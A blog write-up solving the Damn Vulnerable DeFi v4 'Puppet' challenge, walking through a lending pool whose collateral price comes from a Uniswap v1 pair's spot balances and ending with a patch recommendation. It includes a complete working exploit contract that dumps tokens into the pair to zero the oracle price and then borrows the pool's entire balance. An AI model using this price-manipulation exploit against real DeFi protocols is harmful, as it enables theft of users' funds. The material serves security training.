Damn Vulnerable DeFi V4 - 08 Puppet
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)

Challenge
There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrowed amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by saving all tokens from the lending pool, then depositing them into the designated recovery account. You start with 25 ETH and 1000 DVTs in balance.
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
contract PuppetPool is ReentrancyGuard {
using Address for address payable;
uint256 public constant DEPOSIT_FACTOR = 2;
address public immutable uniswapPair;
DamnValuableToken public immutable token;
mapping(address => uint256) public deposits;
error NotEnoughCollateral();
error TransferFailed();
event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount);
constructor(address tokenAddress, address uniswapPairAddress) {
token = DamnValuableToken(tokenAddress);
uniswapPair = uniswapPairAddress;
}
// Allows borrowing tokens by first depositing two times their value in ETH
function borrow(uint256 amount, address recipient) external payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(amount);
if (msg.value < depositRequired) {
revert NotEnoughCollateral();
}
if (msg.value > depositRequired) {
unchecked {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
}
unchecked {
deposits[msg.sender] += depositRequired;
}
// Fails if the pool doesn't have enough tokens in liquidity
if (!token.transfer(recipient, amount)) {
revert TransferFailed();
}
emit Borrowed(msg.sender, recipient, depositRequired, amount);
}
// asuuming amount=100_000e18
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
}
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
}
Solve
Our goal is to transfer all DVT
tokens of the PuppetPool
contract to the recovery
account through only one transaction.
function _isSolved() private view {
// Player executed a single transaction
assertEq(vm.getNonce(player), 1, "Player executed more than one tx");
// All tokens of the lending pool were deposited into the recovery account
assertEq(token.balanceOf(address(lendingPool)), 0, "Pool still has tokens");
assertGe(token.balanceOf(recovery), POOL_INITIAL_TOKEN_BALANCE, "Not enough tokens in recovery account");
}
In order to achieve this goal, we know that token.transfer(recipient=recovery, amount=POOL_INITIAL_TOKEN_BALANCE)
must return a True
value.
function borrow(uint256 amount, address recipient) external payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(amount);
if (msg.value < depositRequired) {
revert NotEnoughCollateral();
}
if (msg.value > depositRequired) {
unchecked {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
}
unchecked {
deposits[msg.sender] += depositRequired;
}
// Fails if the pool doesn't have enough tokens in liquidity
if (!token.transfer(recipient, amount)) { //@audit this have to be a `!true`
revert TransferFailed();
}
emit Borrowed(msg.sender, recipient, depositRequired, amount);
}
However, this requires that our calculateDepositRequired(amount=100_000e18)
function must return a value at least lower than 25e18, otherwise we will encounter a NotEnoughCollateral()
error.
function borrow(uint256 amount, address recipient) external payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(amount); //@audit have to return a value that less than 25e18
if (msg.value < depositRequired) {
revert NotEnoughCollateral();
}
if (msg.value > depositRequired) {
unchecked {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
}
unchecked {
deposits[msg.sender] += depositRequired;
}
// Fails if the pool doesn't have enough tokens in liquidity
if (!token.transfer(recipient, amount)) {
revert TransferFailed();
}
emit Borrowed(msg.sender, recipient, depositRequired, amount);
}
From observing calculateDepositRequired(amount)
function, we can see that the expected return value of this function will be twice the amount
value.
uint256 public constant DEPOSIT_FACTOR = 2;
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
//@audit-info ⬆️ the price of the DVT in wei according to UniswapV1 pair
// This can also be written:
// return amount * 2 * _computeOraclePrice() / 10 ** 18;
}
The challenge description tells us that the Pair contract currently has a liquidity of 10e18
ETH and 10e18
DVT tokens.
// /damn-vulnerable-defi/test/puppet/Puppet.t.sol
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
Then, the _computeOraclePrice()
function would be expected to return uint256(1e18)
.
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
// ⬆️ 10e18 ⬆️ 10e18
}
So our target became clear: If we can make _computeOraclePrice()
function return a value lower than 1
, then we can make the calculateDepositRequired()
function return a value smaller than amount
.
uint256 public constant DEPOSIT_FACTOR = 2;
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
//@audit-info ⬆️ make this return value less then `1`
}
To be more precise, once we make _computeOraclePrice()
function return 0
, then the variable depositRequired
will also be 0
, which guarantees that we will definitely pass the NotEnoughCollateral()
check.
But how to make _computeOraclePrice()
function return a uint256(0)
value?
Well…once we make token.balanceOf(uniswapPair)
return a value larger than uniswapPair.balance * (10 ** 18)
, then the _computeOraclePrice()
function will return uint256(0)
, vice versa. Here’s a simple demonstration:
╰─ chisel
Welcome to Chisel! Type `!help` to show available commands.
➜ uint256 a = 0;
➜ uint256 b = 1;
➜ uint256 c = 2;
➜ a / b
Type: uint256
├ Hex: 0x0
├ Hex (full word): 0x0
└ Decimal: 0
➜ b / c
Type: uint256
├ Hex: 0x0
├ Hex (full word): 0x0
└ Decimal: 0
All in all, we need to make uniswapPair.balance
small enough, or token.balanceOf(uniswapPair)
large enough, so that the _computeOraclePrice()
function returns 0.
Which one is easier? the answer is to make uniswapPair.balance
small enough, because the player
has more assets than uniswapPair
.
uint256 constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 1000e18;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 25e18;
To make uniswapPair.balance
is equal to 0
, we can perform some swap operations on the uniswapPair
to reduce the amount of ETH held by the pair contract to 0
, because the ETH balance of the player
has more than uniswapPair
has.
// pseudocode
uniswapV1Exchange.tokenToEthOutput(
eth_bought=9.9e18, // `pair` retain 0.1 ethers is acceptable
max_tokens=type(uint256).max,
deadline=type(uint256).max,
);
Let’s summarize the attack steps:
Swap with
[DVT/ETH]uniswapV1Pair
contract to drain the DVT token held by[DVT/ETH] uniswapV1Pair
.Initiate a
PuppetPool.borrow(…)
function call to drain the DVT token held byPuppetPool
contract.All the operations mentioned above must be implemented in a smart contract to make
assertEq(vm.getNonce(player), 1)
passed.
Full solution code:
function test_puppet() public checkSolvedByPlayer {
Hack hack = new Hack(token, uniswapV1Exchange, lendingPool, recovery);
token.transfer(address(hack), token.balanceOf(player));
hack.exploit{value: player.balance}();
}
//====================================================================
contract Hack {
DamnValuableToken token;
IUniswapV1Exchange uniswapV1Exchange;
PuppetPool lendingPool;
address immutable recovery;
constructor(DamnValuableToken _token, IUniswapV1Exchange _uniswapV1Exchange, PuppetPool _lendingPool, address _recovery) payable {
token = _token;
uniswapV1Exchange = _uniswapV1Exchange;
lendingPool = _lendingPool;
recovery = _recovery;
token.approve(address(uniswapV1Exchange), type(uint256).max);
}
function exploit() external payable {
uniswapV1Exchange.tokenToEthSwapOutput(9.9e18, type(uint256).max, type(uint256).max);
lendingPool.borrow{value: address(this).balance}(100_000e18, recovery);
}
receive() external payable {}
}
Potential Patches
The vulnerability is in _computeOraclePrice()
function: Improper use of manipulable factors as the price reference.
function _computeOraclePrice() private view returns (uint256) {
// calculates the price of the token in wei according to Uniswap pair
return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}
// Insecure: price = x / y
It’s recommended to use Decentralized Price Orcale or TWAP as the price reference.
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. 🫣